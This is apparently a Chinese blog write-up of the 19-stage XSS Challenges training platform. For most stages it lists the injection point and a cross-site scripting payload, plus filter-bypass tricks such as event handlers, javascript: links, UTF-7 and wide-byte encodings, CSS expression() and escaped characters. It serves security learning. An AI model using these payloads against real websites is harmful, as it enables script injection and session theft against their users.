前言
学习下XSS
主要是XSS Challenges 平台
- 共19关
- 模仿真实xss挖洞的情景,用浏览器中的f12中搜索,找出我们控制的代码所在的位置
- 思考那些个位置哪个或哪几个位置可以被注入我们想要的代码
- 结合上下文进行各种脑洞绕过
- 建议用firefox 配合burpsuite
XSS(cross site scripts)简介
恶意攻击者利用网站没有对用户提交数据进行转义或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中去,使别的用户访问都会执行相应的嵌入代码。
- DOM型
- XSS反射型:前端→后端→前端短链接
- XSS存贮型(评论留言框等):前端→后端→数据库→前端
- 手工:拿cookie
- 自动化xss:BeEF
Stage #1
输入123
查看源码发现在<b>
标签里
那就把<b>
标签和双引号闭合掉
"</b> <script>alert(document.domain)</script><b>"1"
成功XSS
后来发现不用闭合
直接最简单的XSS就行
<script>alert(document.domain)</script>
Stage #2
同样输入123
查找位置
注入点在一个input标签的value属性
前后闭合input标签即可
"><script>alert(document.domain)</script><
成功XSS
Stage #3
同样输入123
发现跟stage1相仿
尝试
"</b> <script>alert(document.domain)</script><b>"1"
失败
原因
- 用于标签构造的
<>
被转义了 - 用于匹配掉双引号的双引号也被转义
抓包看看
发现country这个参数p2
再看上面
发现这个参数的值也是在b标签内
那尝试在p2注入
p1=1&p2=<script>alert(document.domain)</script>
成功XSS
Stage #4
抓包
发现参数p3
在源代码中查找hackme
类似stage2
p1=123&p2=Japan&p3="><script>alert(document.domain)</script><
成功XSS
Stage #5
与stage2相仿
但是有个maxlenth限制长度
因为是js
就直接修改maxlenth
然后输入
"><script>alert(document.domain)</script><
成功XSS
Stage #6
输入123
与stage2相仿
"><script>alert(document.domain)</script><
发现<>
符号被HTML特殊字符代替
说明输入内容被HTML实体编码
不过双引号可用
那就添加一个click触发XSS
" οnclick=alert(document.domain)
当再次点击搜索框的时候
成功XSS
Stage #7
输入123
瞅着与stage2相仿
失败
原因
- 过滤了双引号
但直接用stage6的payload就成功了
" οnclick=alert(document.domain)
这是双引号后面的空格分隔了属性
记住要在空格前面随便加点什么,否则bp提包的时候会自动将空格省略
Stage #8
输入123
发现123包在一个<a>
标签里
制作成一个链接使其弹出一个窗口
那么只需要在标签中添加一个JavaScript伪链接即可
javascript:alert(document.domain);
成功XSS
Stage #9
输入123
看着又是跟stage2很像
失败
抓包看看
发现一个隐藏参数euc-jp
查了下发现是日本编码
需要使用 IE7浏览器 将payload构造为 UTF-7编码
这尼玛闲的蛋疼
p1=1%2bACI- οnmοuseοver=%2bACI-alert(document.domain)%2bADsAIg- x=%2bACI-&charset=UTF-7
简单粗暴绕过这题
Stage #10
输入123
又是跟stage2相仿
发现domain被过滤了
。。。
第一反应双写
"><script>alert(document.dodomainmain)</script><
" οnclick=alert(document.dodomainmain)
成功XSS
Stage #11
在value里
script和onclick都被过滤
查了下
可以用标签制作超链接
然后用	
,
,空格等不可见字符对script进行分割
或者把s进行html实体化s
"><a href="javascr	ipt:alert(document.domain);">点击跳转</a>
"><a href=javascript:alert(document.domain)>点击跳转</a>
成功XSS
Stage #12
还是在value
但过滤了尖括号、双引号、空格
。。。
这就不会了
查了查
ie浏览器会把 ``识别为双引号
`` οnclick=alert(document.domain)
`` οnmοuseοver=alert(document.domain);
Stage #13
多了个style
过滤了<>
和"
百度style XSS,搜到一个知识点叫“行内样式的动态特性”(就是在ie下能在css中执行js代码)
IE浏览器,IE11无法执行,IE8测试通过
xss:expr/*XSS*/ession(alert(document.domain));
background:url(javascript:alert('xss'));
Stage #14
同stage13
但过滤了url,script,eval,expression
所以用注释符打断
xss:expr\0ession(alert(document.domain));
xss:expr/**/ession(alert(document.domain));
Stage #15
过滤了document.write()
转义了<>
,"
,&
,
过滤了\
所以双写\
unicode编码或16进制编码搞定<>
,"
,&
16进制编码 \\x3cscript\\x3ealert(document.domain);\\x3c/script\\x3e
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
Stage #16
同stage15
不过过滤了\x
,即16进制不能用了
那就用Unicode和8进制
Unicode编码 \\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e
八进制 \\74img src=x οnerrοr=alert(document.domain)\\76
Stage #17
类似于sql注入的宽字节注入
用%A7(%几都行,只要符合下面可以用来欺骗的编码)加上双引号的%34
让html自解码机制误认为这是宽字节字符,从而弄掉双引号。
- 半角片假名使用两个字节来表示:0x8E + 0xA1-0xDF
- JIS X 0208字元使用两个字节来表示:0xA1-0xFE + 0xA1-0xFE
- JIS X 0212字元使用三个字节来表示:0x8F + 0xA1-0xFE + 0xA1-0xFE
p1=1%A7&p2=+onmouseover%3Dalert%28document.domain%29%3B+%A7
只有老IE才能成
Stage #18
需要老IE,可能得IE5?看到有人说IE6不行
题意是将每个字符的二进制最高位置为1,然后再转为16进制
"><script>alert(document.domain)</scirpt>
转换为
%A2%BE%BCscript%BEalert(document.domain);%BC/script%BE
Stage #19
好老的东西
也没搜到啥
就过了
结语
这个平台太老了
就简单学习下